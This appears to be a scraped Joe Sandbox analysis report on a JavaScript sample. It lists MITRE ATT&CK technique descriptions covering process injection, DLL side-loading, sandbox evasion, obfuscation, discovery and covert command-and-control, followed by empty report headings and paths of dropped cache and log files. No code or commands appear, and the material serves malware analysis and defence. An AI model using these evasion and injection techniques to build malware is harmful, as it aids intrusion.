Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 16112188701857928577.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\52bc0e8e-f217-4626-b34f-5fb98340d2c3.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7580

Windows Analysis Report
16112188701857928577.js